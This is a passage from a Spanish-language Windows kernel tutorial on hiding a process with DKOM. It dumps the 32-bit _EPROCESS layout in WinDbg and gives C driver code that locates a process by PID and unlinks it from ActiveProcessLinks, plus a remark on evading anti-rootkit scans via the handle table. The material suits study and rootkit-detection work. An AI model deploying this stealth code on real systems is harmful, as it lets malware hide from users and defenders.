4. Direct Kernel Object Manipulation (DKOM)
En el kernel se guardan muchísimas estructuras, pero la que nos interesa a nosotros es la eprocess. En ella se guarda la información de cada proceso.
4.1 EprocessEn el kernel hay una estructura eprocess para cada proceso. El método con la que se enlazan es mediante un puntero que apunta la siguiente estructura y otro que apunta al anterior. Aquí una imagen que ilustra lo explicado:
Lo que tendremos que hacer para esconder nuestro proceso es modificar la eprocess anterior y la posterior para que quede así:
Como vemos, nos desenlazamos de la cadena y lo que provocamos es que pasemos desapercibidos ante cualquier api que intente recorrer la estructura, ya que hemos roto el enlace que nos unía a las demás.
El DKOM depende mucho de la plataforma en la que se este ejecutando el driver, ya que las estructuras cambian de posición según la versión de nuestro SO.
4.2 Ocultando procesos sin HooksVamos a empezar a picar código. Lo esencial antes de hacer nada es saber que vamos a hacer y como lo vamos a hacer, así que lo fundamental es conocer la estructura, las posiciones de sus elementos, etc. Para ello vamos a ver como esta compuesta la eprocess, y nuestra herramienta para ello sera el WinDbg.
Lo abrimos, lo colocamos en Kernel > local. Una vez aquí tenemos que cargar los symbolos si no los tenemos cargados ya. Para descargarlos escribid esto:
SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols
Tened en cuenta que la carpeta debe existir. Una vez echo esto escribamos lo siguiente:
dt Nt!_eprocess y nos enseña esto:
Nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage : [3] Uint4B
+0x09c QuotaPeak : [3] Uint4B
+0x0a8 CommitCharge : Uint4B
+0x0ac PeakVirtualSize : Uint4B
+0x0b0 VirtualSize : Uint4B
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
+0x0c0 ExceptionPort : Ptr32 Void
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : Uint4B
+0x0f0 AddressCreationLock : _FAST_MUTEX
+0x110 HyperSpaceLock : Uint4B
+0x114 ForkInProgress : Ptr32 _ETHREAD
+0x118 HardwareTrigger : Uint4B
+0x11c VadRoot : Ptr32 Void
+0x120 VadHint : Ptr32 Void
+0x124 CloneRoot : Ptr32 Void
+0x128 NumberOfPrivatePages : Uint4B
+0x12c NumberOfLockedPages : Uint4B
+0x130 Win32Process : Ptr32 Void
+0x134 Job : Ptr32 _EJOB
+0x138 SectionObject : Ptr32 Void
+0x13c SectionBaseAddress : Ptr32 Void
+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x148 Win32WindowStation : Ptr32 Void
+0x14c InheritedFromUniqueProcessId : Ptr32 Void
+0x150 LdtInformation : Ptr32 Void
+0x154 VadFreeHint : Ptr32 Void
+0x158 VdmObjects : Ptr32 Void
+0x15c DeviceMap : Ptr32 Void
+0x160 PhysicalVadList : _LIST_ENTRY
+0x168 PageDirectoryPte : _HARDWARE_PTE
+0x168 Filler : Uint8B
+0x170 Session : Ptr32 Void
+0x174 ImageFileName : [16] UChar
+0x184 JobLinks : _LIST_ENTRY
+0x18c LockedPagesList : Ptr32 Void
+0x190 ThreadListHead : _LIST_ENTRY
+0x198 SecurityPort : Ptr32 Void
+0x19c PaeTop : Ptr32 Void
+0x1a0 ActiveThreads : Uint4B
+0x1a4 GrantedAccess : Uint4B
+0x1a8 DefaultHardErrorProcessing : Uint4B
+0x1ac LastThreadExitStatus : Int4B
+0x1b0 Peb : Ptr32 _PEB
+0x1b4 PrefetchTrace : _EX_FAST_REF
+0x1b8 ReadOperationCount : _LARGE_INTEGER
+0x1c0 WriteOperationCount : _LARGE_INTEGER
+0x1c8 OtherOperationCount : _LARGE_INTEGER
+0x1d0 ReadTransferCount : _LARGE_INTEGER
+0x1d8 WriteTransferCount : _LARGE_INTEGER
+0x1e0 OtherTransferCount : _LARGE_INTEGER
+0x1e8 CommitChargeLimit : Uint4B
+0x1ec CommitChargePeak : Uint4B
+0x1f0 AweInfo : Ptr32 Void
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f8 Vm : _MMSUPPORT
+0x238 LastFaultCount : Uint4B
+0x23c ModifiedPageCount : Uint4B
+0x240 NumberOfVads : Uint4B
+0x244 JobStatus : Uint4B
+0x248 Flags : Uint4B
+0x248 CreateReported : Pos 0, 1 Bit
+0x248 NoDebugInherit : Pos 1, 1 Bit
+0x248 ProcessExiting : Pos 2, 1 Bit
+0x248 ProcessDelete : Pos 3, 1 Bit
+0x248 Wow64SplitPages : Pos 4, 1 Bit
+0x248 VmDeleted : Pos 5, 1 Bit
+0x248 OutswapEnabled : Pos 6, 1 Bit
+0x248 Outswapped : Pos 7, 1 Bit
+0x248 ForkFailed : Pos 8, 1 Bit
+0x248 HasPhysicalVad : Pos 9, 1 Bit
+0x248 AddressSpaceInitialized : Pos 10, 2 Bits
+0x248 SetTimerResolution : Pos 12, 1 Bit
+0x248 BreakOnTermination : Pos 13, 1 Bit
+0x248 SessionCreationUnderway : Pos 14, 1 Bit
+0x248 WriteWatch : Pos 15, 1 Bit
+0x248 ProcessInSession : Pos 16, 1 Bit
+0x248 OverrideAddressSpace : Pos 17, 1 Bit
+0x248 HasAddressSpace : Pos 18, 1 Bit
+0x248 LaunchPrefetched : Pos 19, 1 Bit
+0x248 InjectInpageErrors : Pos 20, 1 Bit
+0x248 VmTopDown : Pos 21, 1 Bit
+0x248 Unused3 : Pos 22, 1 Bit
+0x248 Unused4 : Pos 23, 1 Bit
+0x248 VdmAllowed : Pos 24, 1 Bit
+0x248 Unused : Pos 25, 5 Bits
+0x248 Unused1 : Pos 30, 1 Bit
+0x248 Unused2 : Pos 31, 1 Bit
+0x24c ExitStatus : Int4B
+0x250 NextPageColor : Uint2B
+0x252 SubSystemMinorVersion : UChar
+0x253 SubSystemMajorVersion : UChar
+0x252 SubSystemVersion : Uint2B
+0x254 PriorityClass : UChar
+0x255 WorkingSetAcquiredUnsafe : UChar
+0x258 Cookie : Uint4B
Lo que nos interesa a nosotros es esta estructura que se encuentra dentro de la eprocess: +0x088 ActiveProcessLinks : _LIST_ENTRY
Esta es la que apunta a las demás estructuras.
Un esquema de lo que tenemos que hacer es el siguiente:
- Almacenar la dirección de la primera eprocess
- Recorrer las demás estructuras hasta llegar a nuestro proceso
- Modificar la estructura anterior y la siguiente para que no nos apunten a nosotros.
Para sacar la primera eprocess lo podemos hacer con la siguiente API: PsGetCurrentProcess.
A continuación dejo un código de lympex para sacar la eprocess de nuestro proceso a partir del PID.
unsigned long BuscaEPROCESSPid(unsigned int Pid)
{
unsigned long eproc,aux,proceso,ret;
PLIST_ENTRY lista;
unsigned int idProceso=0;
eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
lista=(LIST_ENTRY*)(eproc+0x88);//tenemos los punteros al siguiente y al anterior
aux=(unsigned long)lista->Blink;
proceso=(unsigned long)lista;
idProceso=*((int *)(proceso+0x84));
while(aux!=proceso && Pid!=idProceso)//recorremos la lista
{
proceso-=0x88;
ret=proceso;
idProceso=*((int *)(proceso+0x84));
//avanzamos
lista=lista->Flink;
proceso=(unsigned long)lista;
}
if(Pid!=idProceso)
ret=0;
return ret;
}
Como vemos va recorriendo la estructura, y una vez localizada la estructura de nuestro proceso devolvemos la dirección de su estructura eprocess.
Para ocultarlo solamente tendríamos que hacer lo siguiente:
PLIST_ENTRY plist_active_procs;
unsigned long eproc=0;
eproc=BuscaEPROCESSPid(1234);
plist_active_procs = (LIST_ENTRY *)(eproc+0x88);
plist_active_procs->Blink->Flink=plist_active_procs->Flink;
plist_active_procs->Flink->Blink=plist_active_procs->Blink;
Una vez echo esto el proceso con el pid 1234 quedaría oculto. Aunque no del todo, ya que algunos softwars anti-rootkits lo detectan, pero las APIs que sirven para listar los procesos no.
Hay varios métodos para detectar los procesos ocultados pro dkom. Algunos de método que usan los Anti-Rootkits es el análisis por fuerza bruta (para sacar la eprocess de los procesos que van del 5 al 99999 por ejemplo y comparándola con los saltos en la estructura eprocess), aunque hay más. Para saltarse estas protecciones es necesario modificar también la tabla de handles, el rootkit que hace esto es el FuTo, una versión mejorada del FU.
La intención de este documento no es la de que los script-kiddies hagan un copy paste del código expuesto, lo incrusten en sus virus y los manden a sus amigos. La intención de este documento es que los lectores se animen a adentrarse en el mundo del modo kernel, hay muchísimos temas más que son igual o más interesantes que los que se explicaron aquí, se puede hacer software cuyos fines sean muy distintos, como software anti-rootkits, firewalls, y un largo etc.
Nada más, solo me queda agradecer a las personas que me dieron el empujón en esto del modo kernel y las que aprendieron junto a mi. A todas ellas, muchas gracias
Un Saludo